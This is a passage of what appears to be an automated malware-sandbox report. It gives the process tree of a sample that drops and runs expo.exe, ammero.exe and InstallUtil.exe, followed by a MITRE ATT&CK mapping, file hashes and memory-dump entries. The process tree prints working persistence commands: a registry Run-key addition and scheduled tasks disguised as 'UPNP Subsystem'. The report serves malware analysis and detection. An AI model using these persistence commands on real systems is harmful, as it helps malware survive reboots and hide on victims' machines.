      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:412
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "expo" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\expo.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3156
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "expo" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\expo.exe"
        6⤵
        Adds Run key to start application
        
        PID:3760
    - - C:\Users\Admin\AppData\Roaming\expo.exe
        
        "C:\Users\Admin\AppData\Roaming\expo.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4068
      - C:\Users\Admin\AppData\Roaming\ammero.exe
        
        "C:\Users\Admin\AppData\Roaming\ammero.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3984
      - C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4064
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /create /f /tn "UPNP Subsystem" /xml "C:\Users\Admin\AppData\Local\Temp\tmp9CF2.tmp"
        7⤵
        Creates scheduled task(s)
        
        PID:768
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /create /f /tn "UPNP Subsystem Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp9DBE.tmp"
        7⤵
        Creates scheduled task(s)
        
        PID:1336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe

MD5
91c9ae9c9a17a9db5e08b120e668c74c

SHA1
50770954c1ceb0bb6f1d5d3f2de2a0a065773723

SHA256
e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f

SHA512
ca504af192e3318359d4742a2ef26ae1b5d040a4f9942782e02549a310158d5d5dbf919b4c748c31ee609d2046bd23ee0c22712891c86ae4a1e3a58c6e67647e

Download Submit
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe

MD5
91c9ae9c9a17a9db5e08b120e668c74c

SHA1
50770954c1ceb0bb6f1d5d3f2de2a0a065773723

SHA256
e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f

SHA512
ca504af192e3318359d4742a2ef26ae1b5d040a4f9942782e02549a310158d5d5dbf919b4c748c31ee609d2046bd23ee0c22712891c86ae4a1e3a58c6e67647e

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9CF2.tmp

MD5
f7eb19c49b51cdff67a25c6876a78241

SHA1
6d86be501c2fb57b50292a55d3983b7eee8a688d

SHA256
c9dab73a0044021d2acbc3952b19dea98cdfd838afc633197bd1bd12d2562fba

SHA512
1e94e363f9d4d0dcdfe0a8457642fcfe4f81dff0b39f1d1f00deab9291e133cd40b48c097dfe52c356d4a15c383e0aa08fae28b136937bcc57d5e01861716740

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9DBE.tmp

MD5
af9986f5e128fd8bd3ae748fcba6576d

SHA1
8060072c35108b48649a03be91803b97f1ad40a4

SHA256
f3242f6480b3d1a8f9285135fdce9a201c4802ce062eee4fb41c488a21d53303

SHA512
f35c8e1699905bc972ae48a5a4a9fd33ea04b2d851ffc1cb1d1573a2087121d803b4186a696b2edad10a9c46c388a478e105f5a730020b598aa9f483086dba38

Download Submit
C:\Users\Admin\AppData\Roaming\ammero.exe

MD5
605e939e44cd9b02c55ce0a09019ad47

SHA1
9ac8ff474631ed0c3d27a7290979b4880b9784f6

SHA256
5ab99263d0101e00809c2fe1f068bbcb601208c3fb0efd753b36169a3a69c589

SHA512
5196b9b698a71dc4510a57acabaee22ec2cd3f35c7c82c0ccbc00673ee97b471019a79e4cdb1ec6b5765ef70f1b5aebc19f56b0fa6a9932844c8ae07ba8b2b9d

Download Submit
C:\Users\Admin\AppData\Roaming\ammero.exe

MD5
605e939e44cd9b02c55ce0a09019ad47

SHA1
9ac8ff474631ed0c3d27a7290979b4880b9784f6

SHA256
5ab99263d0101e00809c2fe1f068bbcb601208c3fb0efd753b36169a3a69c589

SHA512
5196b9b698a71dc4510a57acabaee22ec2cd3f35c7c82c0ccbc00673ee97b471019a79e4cdb1ec6b5765ef70f1b5aebc19f56b0fa6a9932844c8ae07ba8b2b9d

Download Submit
C:\Users\Admin\AppData\Roaming\expo.exe

MD5
419179d921ed1c875e2c690ee521d516

SHA1
12750f63f89e8086d59948ebe3664473364f72dc

SHA256
99b390b6b37a14d651e2bfc9d4588385c13ab7a367129a9e753f6650f6867d54

SHA512
823bfb71c82aedef4449cd1a584a0810b050139368ce0bb801ae0be629fdecac98733e48f6978e1d08020031f9ace52d050123baf035cf1bb87bd4b15e2c9702

Download Submit
C:\Users\Admin\AppData\Roaming\expo.exe

MD5
419179d921ed1c875e2c690ee521d516

SHA1
12750f63f89e8086d59948ebe3664473364f72dc

SHA256
99b390b6b37a14d651e2bfc9d4588385c13ab7a367129a9e753f6650f6867d54

SHA512
823bfb71c82aedef4449cd1a584a0810b050139368ce0bb801ae0be629fdecac98733e48f6978e1d08020031f9ace52d050123baf035cf1bb87bd4b15e2c9702

Download Submit
memory/412-439-0x0000000004F40000-0x0000000004FD2000-memory.dmp

Filesize
584KB

Download
memory/412-400-0x0000000000000000-mapping.dmp

Download
memory/412-436-0x00000000062E0000-0x00000000062E1000-memory.dmp

Filesize
4KB

Download
memory/412-435-0x0000000006310000-0x0000000006311000-memory.dmp

Filesize
4KB

Download
memory/412-434-0x0000000006170000-0x0000000006191000-memory.dmp

Filesize
132KB

Download
memory/412-433-0x0000000004F40000-0x0000000004FD2000-memory.dmp

Filesize
584KB

Download
memory/412-432-0x00000000050A0000-0x00000000050A1000-memory.dmp

Filesize
4KB

Download
memory/412-431-0x0000000005000000-0x0000000005001000-memory.dmp

Filesize
4KB

Download
memory/412-430-0x0000000005500000-0x0000000005501000-memory.dmp

Filesize
4KB

Download
memory/412-428-0x0000000000670000-0x0000000000671000-memory.dmp

Filesize
4KB

Download
memory/636-117-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-116-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-502-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-501-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-500-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-499-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-115-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-123-0x00007FFB9BAB0000-0x00007FFB9D9A5000-memory.dmp

Filesize
31.0MB

Download
memory/636-122-0x00007FFB9D9B0000-0x00007FFB9EA9E000-memory.dmp

Filesize
16.9MB

Download
memory/636-118-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-119-0x00007FFB7C310000-0x00007FFB7C320000-memory.dmp

Filesize
64KB

Download
memory/636-114-0x00007FF626C20000-0x00007FF62A1D6000-memory.dmp

Filesize
53.7MB

Download
memory/748-265-0x0000000000000000-mapping.dmp

Download
memory/768-473-0x0000000000000000-mapping.dmp

Download
memory/1336-475-0x0000000000000000-mapping.dmp

Download
memory/3156-437-0x0000000000000000-mapping.dmp

Download
memory/3760-438-0x0000000000000000-mapping.dmp

Download
memory/3984-457-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/3984-481-0x0000000005660000-0x0000000005661000-memory.dmp

Filesize
4KB

Download
memory/3984-453-0x0000000000000000-mapping.dmp

Download
memory/3984-462-0x0000000004A00000-0x0000000004EFE000-memory.dmp

Filesize
5.0MB

Download
memory/4064-477-0x0000000004ED0000-0x0000000004ED5000-memory.dmp

Filesize
20KB

Download
memory/4064-463-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/4064-464-0x000000000041E792-mapping.dmp

Download
memory/4064-472-0x0000000004E50000-0x0000000004E51000-memory.dmp

Filesize
4KB

Download
memory/4064-480-0x0000000005150000-0x0000000005153000-memory.dmp

Filesize
12KB

Download
memory/4064-479-0x0000000004E50000-0x000000000534E000-memory.dmp

Filesize
5.0MB

Download
memory/4064-478-0x0000000005130000-0x0000000005149000-memory.dmp

Filesize
100KB

Download
memory/4068-448-0x0000000005830000-0x0000000005D2E000-memory.dmp

Filesize
5.0MB

Download
memory/4068-455-0x0000000007B40000-0x0000000007B4B000-memory.dmp

Filesize
44KB

Download
memory/4068-440-0x0000000000000000-mapping.dmp

Download
memory/4068-460-0x000000000A180000-0x000000000A181000-memory.dmp

Filesize
4KB

Download
memory/4068-452-0x0000000005830000-0x0000000005D2E000-memory.dmp

Filesize
5.0MB

Download
memory/4088-270-0x0000000000000000-mapping.dmp

Download
memory/4088-283-0x0000025DF9410000-0x0000025DF9412000-memory.dmp

Filesize
8KB

Download
memory/4088-399-0x0000025DF9418000-0x0000025DF9419000-memory.dmp

Filesize
4KB

Download
memory/4088-278-0x0000025DF9600000-0x0000025DF9601000-memory.dmp

Filesize
4KB

Download
memory/4088-275-0x0000025DF9450000-0x0000025DF9451000-memory.dmp

Filesize
4KB

Download
memory/4088-284-0x0000025DF9413000-0x0000025DF9415000-memory.dmp

Filesize
8KB

Download
memory/4088-351-0x0000025DF9580000-0x0000025DF9581000-memory.dmp

Filesize
4KB

Download
memory/4088-390-0x0000025DF97B0000-0x0000025DF97B1000-memory.dmp

Filesize
4KB

Download
memory/4088-398-0x0000025DF9416000-0x0000025DF9418000-memory.dmp

Filesize
8KB

Download